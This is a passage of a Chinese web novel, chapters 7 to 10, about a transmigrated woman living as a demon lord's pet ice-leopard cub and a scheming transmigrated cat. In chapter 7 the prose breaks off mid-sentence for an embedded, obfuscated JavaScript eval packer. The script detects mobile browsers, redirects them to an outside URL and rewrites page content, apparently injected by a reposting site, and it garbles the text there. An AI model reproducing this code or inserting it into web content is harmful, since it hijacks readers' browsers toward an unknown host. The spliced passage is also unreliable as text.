魔界发展到现在,早就不是之前那个只靠武力不长脑子的野蛮时代了,现在的魔族人个个精明,他们如获至宝得找到了讨好尊主的方向后,就迅速展开了行动。 从整个魔域来看,进献灵材至宝的车队从四面八方朝着最中心的领城涌来,魔宫外更是排起了长龙。 统妖司对这一变化感受的也最为深刻。 以往三门五堂的人在看到他们的时候,鼻子瞪的比天还高,满脸都是不屑。 早些年前,统妖司按规定流程提交上去的物资申请,专门负责此事的魔和堂都爱搭不理,用各种理由搪塞过去,就算找到魔和堂之上的魔建门告状也要不到任何说法,最后逼的统妖司只能学着自己出门采摘。 从最开始魔力孱弱的文将小魔们,到现在历练成了魔界里实力数一数二的高攻高防生存高手,这可都是拜这些鸟眼看人低的家伙所赐。 而现在,根本不用统妖司的人出门去领物资,本该属于他们的东西被如数归还,还多了不少名单上并没有填写的好东西。 就连三门五堂里有头有脸的人都亲自登门拜访统妖司,还特意问宿庚有没有适合冰棘豹的灵宝需要他们捎过来。 “这怎么好意思呢?”宿庚摆谱。 “顺路的事,不碍事。”对方笑道。 顺路?你管横跨魔界叫顺路? 宿庚咧嘴不再客气,洋洋洒洒道:“那就麻烦各位门主堂主了,我们家豹儿还缺地火之心、鳄蜜花、鹬糜灰、蒲尘翎尾、诡螭焚津、半截枯骷树、一对钉蛇之翼、三株紫蒻草还有……” 宿庚欣赏着他们逐渐脸黑但又不得不保持微笑的神情,郁结多年的心中畅快极了! 哎呀呀~ 咱们这日子是真的好起来了~ 7. 第 7 章 “怎么会这样!” 隐秘的草丛中,传来了压低的“喵喵”声。 白猫陶灿灿气的跺脚,简直不敢相信这个消息。 “你确定这是真的?”她再一次问道。 “相信我小仙子,我哪一次有骗过你?”一只大竹鼠站立着,颇为讨好地拱了拱手,“这可是我在魔界过命交情的朋友告诉我的,消息绝对保真。” 得到了对方的保证,陶灿灿眼中闪过一丝气恼和不易察觉的慌乱。 血冥居然留下了那只雪豹!? 这可跟她原定的计划产生了很大的冲突。 作为一名穿越人士,并且从一开始就得到了神君神思渺独一无二的宠爱,陶灿灿是有些飘飘然的。 她不是不想就这么安稳下去,但她并不能够笃定神思渺到底是不是这个世界的气运之子。 陶灿灿认为自己既然能够穿越,那就注定是天之骄女,就应该拿着人见人爱的大女主剧本,她不甘心在一开始就把鸡蛋放在一个篮子里。 不见识见识其他角色,怎么能知道手头上的神思渺就是最好的? 暧昧是无罪的,也是最神圣的。她可没什么负罪感,大不了最后再挑一个就行。 现实版乙女游戏难道不香吗! 陶灿灿的野心尽数隐藏在了她乖巧可爱的外表之下。 按照她对当今局势的理解,她第二个想要拿下的人就是神思渺的好友——魔尊血冥。 和各大影视小说中妥妥的反派角色谈一场轰轰烈烈的恋爱,多有意思啊! 温柔系男主固然好,但是坏坏的男生也很有魅力。 况且要是等她拿下了魔尊之后,魔尊却因为和好友抢女人这件事心中又愧疚又对她难以自拔,陷入无尽挣扎的状态,简直戳中她的萌点。 陶灿灿承认自己很恶趣味,但这样的穿越才算有意义。 然而等她连怎么勾搭魔尊、怎么让他动心的计划都列好了,就等着下次神思渺找他过来切磋,自己可以趁机接近他,让他感受萌猫的魅力,从而拜倒在她的石榴裙下。 明明自己上一次的哈气就给魔尊留下了很深刻的印象,只要再加把劲就能成。 结果血冥居然真的听从了神思渺的建议,自己跑去养了一只宠物?! 搞什么啊! 陶灿灿越想越气,她钦点的男二就这么从自己嘴边溜走了,好气!! “小仙子?”大竹鼠小心翼翼地探头过去,搓着手赔笑道,“那个,嘿嘿,咱们说好的辛苦费……” 陶灿灿这才回神,冷哼了一声,从灵兜里拿出了一颗糖豆子弹了过去,咕噜咕噜在地上滚了几圈。 大竹鼠也不嫌脏,飞快地捡起来塞到腮帮子里,笑容满面。 这可是仙丹,想买都买不着,也就小仙子出手阔绰,每回办事都给他一颗当酬劳,从不拖泥带水。 所以小仙子给的差事虽苦,但他办的毫无怨言,也绝对尽心尽力。 大竹鼠很警惕,作为流浪在外的妖兽,他有着自己的生存之道。既然没有得到下一步的指示,那他就先撤一步消化仙丹,好让自己的实力更上一层楼。 一溜烟的功夫,大竹鼠就跑不见了,徒留陶灿灿在原地生闷气。 算了,再想这些也没有用,还不如回去想想接下来要从哪方面接着入手会更好一些。 不过她老被这么管着,要想行动起来也很拘束,起码得等她化成人形,并且得到神思渺完全的信任之后才更好随意出行。 陶灿灿想的很明白,神思渺是她必须抓住的大靠山,只有他给予的保障,才能让她在这个残酷的世界中拥有恣意玩乐的自由。 所以不想那么多了,她要赶紧回去继续抱好大腿。 当陶灿灿刚坚定地想好这点之后,她就感觉自己四脚腾飞浮在空中,紧接着就闻到了自己最为熟悉的味道,似清茶似白雾,是一种浅淡但又勾人的冷冽,然后被拥在了怀中。 一定是神思渺。她猜。 果然。 “又调皮,说了不能到处乱跑,你还是不听。” 温柔宠溺的声音一如既往,神思渺怀抱着她的动作十分轻柔,生怕伤到她一点。 陶灿灿紧绷起来的身体下意识变的放松,她把脸贴进他的胸膛,撒娇地蹭了蹭。 这种被当做珍宝认真呵护对待的感觉,就像温柔乡一样令人上瘾,总是令她摇摆不定。 说真的,神思渺是她在现实生活当中见到过最完美的男人。 不仅长得帅,地位高,又对自己百依百顺。 按理说这个男人就是她能遇到的天花板了,但是陶灿灿心里总归有些不甘心的因素在。 万一呢? 既然我能拿到穿越金手指,那我的宿命很可能不止于此。 万一我能遇到更好的,万一他只是我在这个世界的起点呢? 如果我不迈出那一步,我会不会后悔一辈子? 这种想法就像指甲边缘的死皮,时不时的刺一下,就算暂时将它抚平,也很难一直忽略它。 “唉,都怪你,你为什么偏偏这么好,让我舍不得离开你?”陶灿灿在心里埋怨道。 对于猫儿的心理想法,神思渺并不知情。 但在陶灿灿看不到的地方,神思渺此刻的眼神却完全没了往日的柔情。不仅没有了温度,还藏着几分猜疑。 他本以为猫儿只是爱玩的年纪,才总是跑下山,每回让他一顿好找。 可是今日一看,猫儿似乎早就与一只不知道哪里来的竹鼠有了联系。 方才看猫儿的动作神情,可不像自己面前那么的单纯幼稚,无论是交流还是动作姿态都很是老练,它甚至懂得用自己给它炼的丹药作为某种报酬支付出去,自己赠予它的灵兜,也被它发现了其中的妙用。 到底哪种性情才是真正的猫儿? 它在我面前……是在演戏? 难道是有谁处心积虑将它送到我身边,而我却没有察觉吗? 以及……它真的,只是,一只猫? 神思渺心中的问题越来越多,多到让他忍不住阴谋论了起来,但他把一切的异常都藏在了心底,没有表露出半分。 陶灿灿并不知道自己在神思渺这里已经露了馅,此刻也只有神思渺他自己心里清楚,只要有了怀疑,猫儿对他而言的意义就已经再也回不去从前。 查,他必须要查清楚一切。 …… 自从吸收了至纯魔息之后,云宛白的修炼天赋就跟蒙尘的金子被擦亮一角之后,逐渐显现了出来。 特别是在通过自己的金手指找到了最适合修炼的bug(她想休息的时候就挂机回意识空间躺平,她想修炼的时候就靠金手指调好最适合修炼的痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879092|159715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉比例,如此下来可以实现二十四小时连轴修炼)之后,她对于力量的渴求一天多过于一天。 当弱小的身体通过修炼逐渐变得强大,作为身体的主人,没有人比她更能够感受到自己实力上的变化——小小的肉爪子能跺碎地面,四肢轻轻蓄力就能跳起好几米,更别说尾巴上逐渐进化出倒钩的冰刺。 这种只要努力就能及时获得积极反馈的感觉,令这位职场卷王十分上头。 没有甲方,没有傻叉领导,没有deadline。 只有自己和自己较劲,自己在进步学习。 别说,她真找回了最初纯粹学习的快乐。 难怪修仙的人动不动老是闭关,云宛白自己修炼起来都能废寝忘食,她甚至都不觉得区区手机到底有什么好玩的。 能在现实生活当中自己给自己升级加属性点,争取有朝一日能够出去打怪,可别太爽~ 尤其是这个便宜铲屎官血冥在差点把她饿死之后,他总算是良心发现,终于舍得给她下点本钱了。 也就是说,云宛白终于体验到了“被”氪金的快乐。 “都呈上来。” 血冥依然是一手负在身后,一手提起豹儿的脖颈,待他随意地坐在榻上后就将豹儿放在自己的腿上。 尽管这一系列动作还有些许不自然,但对比刚养宠的那几天已经好上太多。 云宛白表示,除了四肢还是有点别扭之外,她并没感觉到太多的疼痛。 嗯,有进步。 不过,怎么会有人在养宠物一个月之后都还不知道该怎么正确的抱,就只知道抓脖子?云宛白腹诽道。 “尊主,这是魔和堂那边新送来的一批,请您过目。”一位魔使禀告,将托盘递上前。 血冥在这方面并不专业,他也不多卖弄,直接叫宿庚过去翻找:“你就说哪些对豹儿有用,挑出来就是了。” 最近魔界正温水煮青蛙地扩大盟友队伍,并且在魔界疆域中到处敲打一些刺头以巩固统治。其中,就有一些识时务的盟友将不少供奉送往领城来表明忠心。 这些供奉里头可有不少珍贵的好东西,就连血冥手头上都没存货。 以往他并不在意这些,也没什么物欲,大多都赏赐给了有功的部下,要么就是存到宝库里吃灰。 不过现在,有了在意的小家伙,那优先级自然就变成了自己的豹儿了。 对于其他那些向统妖司送礼的风气,他知是知晓,但并不在意,或者在他看来本就应当如此,好歹是他养的宠,待遇自然要不一样。 宿庚搓搓手,表情腼腆但动作毫不客气,三下五除二就挑出了最好的,给一旁的魔使都肉疼到眼皮子狂跳,隐隐有青筋暴起。 这老头,每回都这么不客气! “这对豹儿的根骨好,能帮它疏通经脉,剔除杂质。” “这个对豹儿的牙齿好,它正是长牙的年纪,就应该练练咬合力,以后的牙保准长得又尖又亮。” “这个对毛发好啊,豹儿它最近尾尖有点粗糙,多吃这个能油亮光滑一些。” 血冥不住地点头,一脸认真。 这个确实有用,那就给它吧。 那个也很有必要,行,给它吃呗。 什么,你说这个没有功效,但就是好吃? 不用多问,都给它就是了,又不是吃不起。 8. 第 8 章 大抵是豹儿仰起头来看他的时候,莫名让人有点……心软。 心,软。 多么陌生的词。 明明就只是一双无辜又坚定的大眼睛,不掺杂任何意味。它还这么小,能有什么别的想法。 但血冥偏偏从它的眼神中读出了些许祈求,而这种微不足道的请愿让他难以拒绝。 也许是过度解读,毕竟小家伙被他抱着的时候身体还有些僵硬,显得并不放松。 可每当血冥感受到怀中随着呼吸起伏的小肚子,就能清楚意识到这样一个脆弱但又真实存在的小生命属于他且只属于他,血冥就失去了本该秉持着的原则。 弱肉强食? 不,既然是我的宠物,那它本就该拥有一切。 血冥自我认同地微微颔首,又给冰棘豹顺了一下毛。 力道有点重,云宛白一声不吭地忍着,努力扮演好豹豹角色。 一旁待命的魔使已经选择性地将耳朵闭上了。 那明明是能起死回生的稀有灵植,在那个臭老头的口中,功效居然就只成了冰棘豹塞牙缝的小零嘴……尊主养宠我没意见,但有些好东西让尊主自己留着不行吗!(尊爱粉自动忽略了尊主无下限也无上限的宠溺行为) 我不生气我不生气。 啊——受不了了!我瞪!! 正在快乐淘宝的宿庚被魔使突如其来的炯炯大眼吓了一跳,但很快又不甘示弱地瞪了回去。 怎么!不服你也给我憋着! 爷就是凭豹贵,你能拿我怎么样! 任谁被这么一顿嘚瑟都会受不了,魔使已经快憋炸了,但对于这位最近在尊主面前恃宠而骄的大红人,也真是敢怒不敢言。 好好好,别让我逮着你!哪天等你失宠了,看我不踩你一脚!魔使气鼓鼓。 面对“敌人”,宿庚从来没有好脸色。 但一转向云宛白,他就笑的格外慈祥。 “来豹儿,这些都是你的,到时候还要辛苦你把它们都乖乖吃掉了哦~ 辛苦?吃掉? 吃这么多稀有的好东西,你管这叫辛苦? 魔使的眼白都快翻到天上去了,不过他很快低下头,努力控制好自己的情绪,不让那个糟老头子当众抓到他的错处。 宿庚还没老眼昏花,自然看到了这一幕。不过他才不跟年轻小伙子计较,他可是很大度的。 趁着尊主心情正好,他试着提出让尊主帮忙把这种灵植炼化,好让豹儿能够更好的吸收。 “这是自然。”血冥点头。 之前喂冰棘豹至纯魔息的时候,血冥就已经有过一次经验教训,现在正式开始养宠,这样的小细节他自然注意的到。 更何况,炼化对血冥来说并不是什么难题,只是像神思渺那样不仅炼化成丹还添了一些甜味进去制成小糖豆,这难度就有点高了。 改天抽空去问问思渺吧,先解决眼下的问题。 血冥大手一挥,将其中一株灵植拿来,虚空中直接将它捏爆成了细密的雾气,又凌空一指灌入到云宛白的口中。 这种处理方式看上去略显粗糙,实际上却是刚中带柔,并不会伤害到冰棘豹。而且单论吸收效果,约莫也能发挥出灵植八成的功效,也算是很不错的了。 当然,这种手法和专门炼丹的还是没法比。像神思渺这样在仙界出了名的炼丹高手,他就能发挥出药性的九成多。 不过话又说回来,作为魔尊,血冥也不乐意斯文地待在一处地方安静炼丹,这与他的本性相悖,还是粗暴的手段更适合他。 吞食了雾气的云宛□□神一振,也不管自己被魔尊抱着的姿势并不舒服,当下就眼睛一闭呼吸吐纳了起来,完全屏蔽了外界的干扰。 (准)强者,从来不受环境的影响。 看着冰棘豹争气努力的模样,血冥欣慰地勾起了嘴角。 或许他自己还没察觉到神态上发生的变化,但在场的两位可都看的明明白白,平日里被杀气萦绕着的魔尊,居然露出了与他气质非常不符的温柔的一面,似乎还带着一点……慈爱? 等等,这种神情不应该出现在尊主身上吧!? 违和感很强烈,但更证明了冰棘豹的受宠。 宿庚满脸都是笑容,没想到他有朝一日还能将尊主变为与他同样的豹儿党,真是甚感欣慰啊。 他趁热打铁上前一步:“尊主,您看是不是能给豹儿赐个名?” 喊豹儿喊了这么久,虽然显得亲昵,但这就跟喊小名一样不够正式,也作不得数。 若是真得了尊主赐名,那豹儿的地位身份从某种意味上来说就又不一样了,它将真真正正被纳入尊主羽翼的保护之下,得到大家的承认。 虽然只是一种形式,但这非常重要。 统妖司的妖使长在这一点上格外坚持,他必须要为豹儿的未来做打算。 “赐名?”血冥迟疑。 居然还要再起一个名字吗? 我听神思渺喊他家的白猫也就猫儿猫儿的叫,那我喊豹儿也是理所应当的事。 可若是让我起一个正式的名字,这要怎么取? 要有名有姓还是随意称呼? 头一回赐名的血冥陷入了深深的纠结当中。 宿庚一点都不着急,尊主思考的越久越认真就证明尊主越在乎豹儿,他已经忍不住搓手期待起了尊主的答案,正两眼放光地等待。 过了将近十个呼吸,血冥仍在思考。 其实血冥觉得“豹儿”挺不错,简单明了容易叫。 不过关于取名方面的审美,从他对魔宫的称呼上就可见一二,风格十分随意。 取名字多少有点难为他了。 直接略过仙界那些给宠物取文绉绉的名,血冥回想自己在人间行走时听过的名字,心里想道: “既然是我养的,难道随我姓,叫血豹?” “不,听起来好像不太对。” “它全身冰川白,如果叫它小白的话又不太恰当,毕竟它身上还有一些大大小小的黑斑。” “难道要叫它点点?斑点?” “人界惯用叠词,虽然奇怪,但胜在方便好记。” 血冥思索的很认真,这样的神情之前只在他制定攻略冥界计划的时候看到过。 想了半晌无果,正好冰棘豹初步吸收好了灵植,刚睁开眼睛,鼻子轻轻地哼了一声。 血冥低头看向它,干脆双手穿过它的前腿,把它举了起来,和自己面对面。 这动作并不舒服,云宛白嗷了一声,皱着眉头。 可恶的男人,忍一时蹬鼻子上脸,这种举法胳膊很痛的好吧! 刚 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(1)抱大腿、提高实力、保住小命; (2)有能力的话不让魔尊死,保住魔界; (3)再有能力的话希望三界和平。 她要保一稳二冲三,其他的都是小问题。 “这样吧,我……本尊一个个说名字,你来决定好还是不好。” 和豹儿单独相处的时候,血冥都会比较放松地直接自称“我”,只是今天有外人在,他还是要维持一下形象。 “嗷。”云宛白点头,示意他开始。 你说呗,取名字还能取的有多难听。 两人都默契忽视了为什么双方能够沟通的如此顺畅,这在旁人看来简直不可思议。 “点点。” “嗷、嗷(不行)。” “小白。” “嗷、嗷(不行)。” “毛毛。” “嗷、嗷(不行)。” “脏脏。” “嗷、嗷(不行)。” 一魔一豹的对视过于严肃,以至于这整个场面莫名有些好笑。 血冥困惑:为什么这些名字它都不喜欢,我已经取不出别的了。 云宛白困惑:他是怎么做到能顶着魔尊的头衔面不改色说这些叠词的? 而且这些名字真的不太让我能够接受啊! 但凡你说个“小云”这样的称呼我都能点头,可你偏偏说了最宠物化的“小白”。 不行,你给我重新想。 “那就叫……”血冥沉吟,“跳跳?” “嗷、嗷(不行)。” “尾巴?” “嗷、嗷(不行)。” “冰冰?” “嗷、嗷(不行)。” “本尊真的想不出别的了,乖。” “……嗷(服了,你真是文学荒漠)。” “嗯?乖?……乖乖?你喜欢这个名字?”血冥惊讶,随后困惑,紧接着恍然大悟,最后化为了无奈的宠溺,举着它在空中左右晃了晃。 云宛白:????? 你哪只眼睛看出来我喜欢这名字的! 9. 第 9 章 云宛白震惊到一动不动毫无反抗,她无法想象魔尊这个奇怪的男人到底自己在那里脑补些什么,这么……一言难尽的称呼居然也喊的出来。 这人没有鸡皮疙瘩的吗 还是说,当魔尊的心理素质都如此强大? 血冥也疑惑呢,他不觉得这个名字和其他名字相比有什么出彩的地方,但是豹儿喜欢,那就叫这个好了,他没什么意见。 而且叫乖乖也挺好的,它总是不乖,没准念着念着它也能乖一些,不要动不动就撒娇。 对我倒是没事,对别人的话,撒娇可就没那么管用了。 (云宛白:我哪里在撒娇!我一拳头飞过来你也觉得在撒娇,明明就是你有病!) “行,那以后就叫你乖乖,”血冥双手轻轻掂了掂它之后就往自己的肩上放,反手摸了摸它的头顶,声音依然微冷但初见柔软,“等你以后化形开口,你再取个你自己喜欢的名字,如何?” “嗷!(可以!)”云宛白一秒精神,就差没在他的肩头上立正了。 乖乖这个名字是很肉麻,但为了以后的名字自由,一时的忍让算的了什么! 大不了就当做方言去理解,比如……川渝魔尊?咦,我嘞个乖乖。 但话又说回来,没想到向来以粗犷闻名的魔尊居然也有如此细腻的一面,印象分勉强拉回来了点。 行,我要抓紧修炼,早日恢复我的本名! 云宛白的鸡血就是打的这么快,反正这声“乖乖”叫出口,恶寒的是别人而不是她自己。 天生血脉强+修炼刻苦+金手指外挂+饲主氪金,云宛白的修炼速度简直比火箭窜的还快。 要不是知道自己拿的是炮灰祭天剧本,云宛白都要误以为她其实就是天选女主了。 果然,只要熬过生死关,蝴蝶翅膀就指不定要怎么扇。 从出生(被唤醒)到现在三个月,云宛白的妖丹就已经快达到了别人近百年的水平。 当然,这百年之中起码有六七十年是被血冥的至纯魔息和各种灵植奶出来的。 这些东西在修炼一开始会起到很大的推进作用,之后的提升效果就会逐渐趋于疲软。 外力终究不如自立,最终云宛白还是要靠自己修炼消化才能最大程度地掌握力量。 为了配的起这些来之不易的灵宝药材,云宛白可以说是起早贪黑的修炼,特别刻苦。 一边通过挂机来吸收灵植,一边在意识空间里研究传承记忆,还有血冥给她的一堆妖界秘法秘籍。他也不管云宛白看不看得懂,总之搜集了一大堆一股脑地塞她这里了。 还好云宛白能通过触碰来把秘籍上传“云端”,在意识空间里慢慢看,要不然她也做不到多开修行。 她修改了自己的年中计划,她必须要消化稳固这百年妖丹,同时理论数值冲击两百年,实际数据稳在一百年以上。 说起来可能有些难理解,那么就把她的妖丹看成内存卡吧。比如理论上应该有128G,在实际应用的时候,可能只有118G的真实储存空间。 那么云宛白要做的就是把128G这个理论数值继续调高,把118G这个真实数值稳固下来并且尽可能的接近128G,减少虚差。 一只不哭不闹性格刻苦而且沟通顺畅的冰棘豹,无疑是养宠人心目当中的天花板。血冥根本没机会感受被宠物折磨到头疼的时刻,更何况还有宿庚的辅助,他只体会到了养宠的乐趣。 乖乖真的很乖。 除了有时候血冥手贱非要惹它,乖乖才会露出小尖牙哈气,同时一边观察他的脸色一边露出嫌弃的白眼。 如果这时候自己还不停止,乖乖也不惯着,真的就这么一口咬上来。 血冥并不制止它这样“伤害主人”的行为,就这么米粒大的牙咬人一点都不疼,而且乖乖故作凶狠窝里横的样子还挺可爱的。 或者说,他就是故意想养出乖乖反叛的性格。 当魔尊久了,所有人对他都是又敬又怕,也就乖乖敢在他面前放肆,一点也不拿他当回事。而不被放在眼里的感觉对血冥来说也格外新鲜,他也乐得在乖乖面前放下魔尊的架子,放松地当好它的主人、当血冥,而不是威慑三界的魔尊。 养成的快乐一旦get到,就很难戒掉了。 血冥现在只要有空就一定回寝宫看它,或者直接带着乖乖出席一些场合,有时抱着,有时就任由它在地上走来走去,东闻闻西嗅嗅。 或许连他自己都没意识到,他对乖乖的容忍上限不断地升高着。 寝宫内。 血冥正拿着精致的瓷勺,从一个密封完好的瓦罐中慢条斯理地舀出新鲜羊奶,倒在冰棘豹专属的水盆中。 她的水盆是用无比珍贵的凝墨石打造而成,这种材质能将周围的灵气自然而然地凝聚在容器中并融入液体,泛起一圈一圈的涟漪,可以说是自带buff的SSR道具。 就连领城的大魔们全部加在一起都凑不出一块巴掌大小的凝墨石,云宛白却拥有整整一大块。 谁见了不说一句骄奢无度。 血冥不是一个会邀功的性子,他绝口不提自己特意跑去冥城(原冥界)最深处的亡崎海沟,那里环境极为恶劣,一不留神就容易受伤,他在那里耗尽了大半的魔力就为了给乖乖打下这么一块充当水盆。 乖乖不爱喝水,前段时间血冥问了宿庚才知道,原来冰棘豹对于黑色材质的水盆会更感兴趣一些。 如果能让水盆中的水流动起来,那么乖乖喝水的频率也会增加。 (云宛白:额,猫科通病?) 要论颜色,没有石头能比得过凝墨石的黑,更何况它能让水流自然而然动起来,还有什么比这更好的选项? 乖乖不需要知道这些背后的故事,它只要喜欢就好。 “鲜奶,喝。” 血冥修长的指尖按在凝墨石的边沿,缓缓往云宛白面前一推,示意她多补补身体。 见她扭头装没看见,血冥倒也习以为常地直接把她抓到水盆前,又轻轻点了点它的脑袋。 “乖,你得喝。”他耐心讲道理。 宿庚说了,冰棘豹祖上最爱吃的就是湛羚羊,可惜湛羚羊已然绝迹,他只能找点人间羊奶作为替代。 可怜的小家伙,从一出生就吃不到最爱的,作为主人,也只能为它做到这种地步了。 于是, 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综上所述,还是咬着尾巴走路最舒服了。 云宛白有时候都忍不住觉得,尾巴就跟婴儿喜欢的阿贝贝或者奶嘴一样,只要含在嘴里就莫名有安全感,特别上头难以戒断。 血冥随意半倚在榻上,就这么静静地看着它喝奶咬尾巴,蹦来跳去,时不时往地上扔一些小冰针,有时候它还会调皮地往自己脚下丢。 当然,丢到他附近的都会被他随手化为冰水,偶尔会丢回到乖乖的头上,被它冰的一激灵的样子给逗笑。 他也说不上来为什么自己会看得如此津津有味,明明就只是一些稀松平常的的小动作,但就是百看不腻。 血冥甚至专门做了一些留影石,时时刻刻记录乖乖的有趣瞬间,当他出门在外无法带上乖乖的时候能够翻看解闷。 不得不说,血冥越来越像一位名副其实的铲屎官了。如果不是得到过云宛白的严令拒绝,他怕是连它如厕也想跟着看。 就在他认为与乖乖的感情已经到了顶峰,毕竟乖乖在看到自己的时候,已经比看到宿庚还要激动,他终于耐不住性子,特意跑去神思渺面前吹嘘了一番。 “养宠不难,”血冥信誓旦旦,“而且我家乖乖比你的猫儿聪明多了,它前几天刚刚学会了……” 神思渺发誓,自他认识血冥以来,就从没听过他一次性讲这么多话。 直接忽略了好友的拉踩行为,神思渺忍不住反思自己在聊到猫儿的时候是否也是这般“吵闹”。 但听了一炷香的时间还不见停止,神思渺的耐心就直接归零了,他抬手打断:“停!说了这么多,我就问你一句,你有没有摸过你家乖乖的肚子?” 血冥蓬勃的分享欲惨遭卡顿,他迟疑了一下,认真回忆:“……没有。” 他不理解神思渺为什么要问这个。 神思渺长舒一口气,看热闹般地挑了挑眉,语气有些顽劣:“不让摸肚子,那就说明你家豹崽子还不信任你呢。” 血冥:“……?” 10. 第 10 章 血冥一时间不知道该说什么。 他想反驳,但又陷入了自我怀疑中,久久无言。 他之前并不觉得“信任”是一个需要在意的问题,这种虚无缥缈的东西有也好无也罢,对局面没有任何影响。换而言之,相信“信任”才是愚蠢的行为。 只是,在面对乖乖的时候,他就没有了原本的淡然。 说真的,他真的不在意乖乖到底信不信任自己,但是这段时间为了照顾乖乖,他已经翘了很多的架没去打,在饲养方面他也认为自己做的足够上心,乖乖对他的态度肉眼可见地越来越好。 在这种情况下,你告诉我乖乖它其实并不信任我,这可能吗? “为何?”沉默很久的血冥终于开口了,“摸肚子……这二者之间有何关联。” 他很在意,在意的要死。 “这是它们最柔软最脆弱的地方,”神思渺笑道,“不怕掐脖子算不了什么,它若是愿意对你露出肚子,那才是真正的信任。” 血冥回去了,连带着如何炼丹都忘了问。 这回他的目的非常明确,他要试试乖乖对他是不是还留有防备。 诚然,乖乖并没有主动在他面前躺下露出肚子,但是他也没试着去摸过它的肚子,万一它其实是允许的呢? 神思渺肯定是气不过自己在他面前炫耀,才故意离间自己和乖乖的感情。 尽管这么安慰了自己,血冥还是一脸郁色,直到他看到了蜷成一团正在午憩的乖乖,表情才逐渐柔软了下来。 他不自觉地放慢了脚步,无声地向它靠近。 小心翼翼坐在它的身边,看它随着呼吸起伏的身体,血冥的心神逐渐放松了下来,甚至开始静静望着一处发呆。 吸入鼻中的是乖乖身上的毛绒味,像是阳光暖烘烘的味道,又像是冷冽泉水中微带清甜的味道,令他心绪平静。 如此不设防的模样,与它平时警惕机灵的小模样差别很大。血冥也不明白为什么自己只要见到乖乖之后,心情就会变好。 不过有一点他承认,他只让乖乖见过自己最真实的一面:平静,放空,甚至有些无趣。 也只有乖乖能透过他弑杀冷漠的外表下,安于平淡的内心。 云宛白睡的正香。 太长时间的修炼不利于身心健康,所以她这次睡觉难得没去意识空间加练,而是任由自己陷入深睡眠。 血冥垂眸,身体前倾向它靠近,发丝顺着肩膀往前滑落。 他按捺住即将扬起的嘴角,随手将几缕发梢缠绕在指尖,过去扫了扫它的鼻子。 云宛白下意识皱了皱鼻子,哼了一声,把脸往旁边挪了一下,仍然熟睡着。 血冥觉得有趣,不依不饶地跟了过去,继续挠它。 这次更痒了。云宛白有点烦躁,手一抬直接挡住了自己的脸,顺势把脸埋到毛发里。 血冥实在没忍住,喉间溢出了两声轻笑。 听到了声音,睡梦被打扰的云宛白有些迷糊,她半睁开眼,看到了一张熟悉的大脸。 哦,又是这个男人。 闲着没事老偷窥我,真不知道我有什么好看的。 习惯了铲屎官血冥无边界感的一系列行为,云宛白现在已经可以做到完全无视的状态,对自己的新形态新身份适应良好。 不得不说,有四驱和有尾巴的感觉,包括感官的放大都比当人要新奇。 就是这会儿觉没睡饱就被吵醒,多少有点可惜,好不容易有一次深睡眠呢。 云宛白打了个哈欠,闭上眼睛用力伸了一个懒腰,咬着牙哼唧了一声。 血冥本来并不打算做什么,以往他都是这样默默看着乖乖翻身睡觉。 可是这一次,随着乖乖的懒腰,它白乎乎圆滚滚的肚子就这么毫无防备地敞开在自己面前,还离自己这么近。 耳边再次回响起神思渺似有若无的嘲笑声,血冥就有些蠢蠢欲动了。 摸一下,应该没事的吧? 光看血冥那张毫无表情的脸,根本看不出他内心的挣扎和期待,就像云宛白一直以来都认为血冥只是被神思渺带的一时兴起,她从来不认为堂堂魔尊真的会对养宠这件事上心。 不过就算是三分钟热度,对她来说也是件好事,她要做的就是把这三分钟的时间尽可能延长,保命成长最要紧。 既然反派男二要玩养成,那她配合就是了。 已经把“假装无意识地撒娇卖萌”练的炉火纯青的云宛白,她眼中只有目的,没有脸皮。 没有人比她这个蹲直播间老看雪豹卖萌的人更懂观众的心了。 意识已经清醒,她半睁着眼,盯着血冥的方向夹着嗓子又哼唧了一声,从左翻滚到右继续伸懒腰。 此时的血冥也终于从犹豫的情绪中脱离出来了,他不再犹豫,一本正经地对准它毛绒绒的肚子伸了过去。 但刚一尝试,他的手就被云宛白一巴掌拍开了。 云宛白被他的动作吓得睡意全无大惊失色,一个鲤鱼打挺翻身站了起来,半俯下身呈攻击姿态,还冲他哈气龇牙。 不是,摸女孩子肚子,甚至是肚子往上,你你你有病啊! 虽然云宛白知道自己已经不是人了,按理来说反应不该这么大,但是她就是很介意这种流氓行为。 我又不是真豹!我是黄花大姑娘! 退一步越想越气,云宛白只恨刚才没有直接上嘴咬他一口,让他趁早打断这个想法才好。 云宛白的眼神充满了杀气。 血冥不知道这个动作会让乖乖变的如此警惕。 本来乖乖要是特别抗拒的话,他也就随它去了,不会过于强求。可是神思渺告诉他这种触碰与信任有关,那他就不想这么轻易放弃了。 只要能碰到,都算信任的吧? 血冥跟它较起了劲,还打算继续试探。 可是接下来他尝试了好几次都没有成功,即使偷袭也没有用,反而平白挨了很多顿挠,虽然没破皮,但从乖乖的力度上,他能感受到小家伙是真的抗拒。 这个事实让血冥很是郁闷。 而且他尝试的次数多了,乖乖一见他就格外防备,瞟向他的小眼神愈发嫌弃。 没办法,血冥只能暂时歇了这个心思。 血冥又不欲伤害云宛白,就没强行动手。他若是真想,乖乖根本反抗不了。 他只是有些不明白为什么。 想了半天他都百思不得其解,他自认为与乖乖的关系非常好,怎么会连摸肚子这件小事都做不到。 血冥纠结了半天,最后还是遵从本心召来了宿庚,问他有没有摸过乖乖的 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但尊主实(皮)力(糙)强(肉)大(厚),再加上尊主本就有意纵容豹儿伸爪,估计这回摸肚子没掌握要领,还把豹儿给逼急了,人小家伙才会这么气急败坏地挠出白色印子来。 宿庚的推测完全正确。 自从知道血冥高攻高防的属性之后,云宛白在他面前就没收过爪子。拜托,收爪子也是需要力气来养成肌肉记忆的,反正挠不破,管他呢。 何况这回云宛白简直恨不得把他抓出血来表达自己的愤怒。但她没想到,用尽全身妖力的愤怒几爪,换来的却是血冥手背上根本持续不了几分钟的浅色印子,别说血了,连皮都没挠破。 太让豹挫败了。 